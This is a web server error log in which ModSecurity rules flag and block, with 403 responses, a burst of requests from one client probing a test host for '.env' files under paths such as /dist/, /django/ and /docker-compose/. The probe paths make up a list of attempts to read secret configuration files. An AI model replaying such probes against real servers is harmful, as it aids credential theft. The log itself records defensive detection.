[Wed Feb 25 06:05:06.059750 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-firebase-authentication-serverless/.env&quot;] [unique_id &quot;aZ6DAp6MLyC5r86Hx-ZXewAAAAQ&quot;]
[Wed Feb 25 06:05:06.089465 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiaygAAAAA&quot;]
[Wed Feb 25 06:05:06.089756 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiaygAAAAA&quot;]
[Wed Feb 25 06:05:06.089953 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiaygAAAAA&quot;]
[Wed Feb 25 06:05:06.100719 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-react-relay-network-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ6DAp6MLyC5r86Hx-ZXfAAAAAQ&quot;]
[Wed Feb 25 06:05:06.100998 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ6DAp6MLyC5r86Hx-ZXfAAAAAQ&quot;]
[Wed Feb 25 06:05:06.101163 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-react-relay-network-modern/.env&quot;] [unique_id &quot;aZ6DAp6MLyC5r86Hx-ZXfAAAAAQ&quot;]
[Wed Feb 25 06:05:06.197182 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django-blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazAAAAAA&quot;]
[Wed Feb 25 06:05:06.197471 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazAAAAAA&quot;]
[Wed Feb 25 06:05:06.197656 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazAAAAAA&quot;]
[Wed Feb 25 06:05:06.220929 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazQAAAAA&quot;]
[Wed Feb 25 06:05:06.221214 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazQAAAAA&quot;]
[Wed Feb 25 06:05:06.221397 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazQAAAAA&quot;]
[Wed Feb 25 06:05:06.282446 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-relay-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYXwAAAAc&quot;]
[Wed Feb 25 06:05:06.282759 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYXwAAAAc&quot;]
[Wed Feb 25 06:05:06.282944 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYXwAAAAc&quot;]
[Wed Feb 25 06:05:06.286170 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django_project_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazgAAAAA&quot;]
[Wed Feb 25 06:05:06.286464 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazgAAAAA&quot;]
[Wed Feb 25 06:05:06.286636 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazgAAAAA&quot;]
[Wed Feb 25 06:05:06.362532 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazwAAAAA&quot;]
[Wed Feb 25 06:05:06.362563 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-universal-configuration-build-time/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYAAAAAc&quot;]
[Wed Feb 25 06:05:06.362816 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazwAAAAA&quot;]
[Wed Feb 25 06:05:06.362819 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYAAAAAc&quot;]
[Wed Feb 25 06:05:06.363000 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYAAAAAc&quot;]
[Wed Feb 25 06:05:06.363001 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRiazwAAAAA&quot;]
[Wed Feb 25 06:05:06.430602 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYQAAAAc&quot;]
[Wed Feb 25 06:05:06.430884 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYQAAAAc&quot;]
[Wed Feb 25 06:05:06.431070 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYQAAAAc&quot;]
[Wed Feb 25 06:05:06.458883 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0QAAAAA&quot;]
[Wed Feb 25 06:05:06.459168 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0QAAAAA&quot;]
[Wed Feb 25 06:05:06.459342 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia0QAAAAA&quot;]
[Wed Feb 25 06:05:06.470933 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYgAAAAc&quot;]
[Wed Feb 25 06:05:06.471221 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYYgAAAAc&quot;]
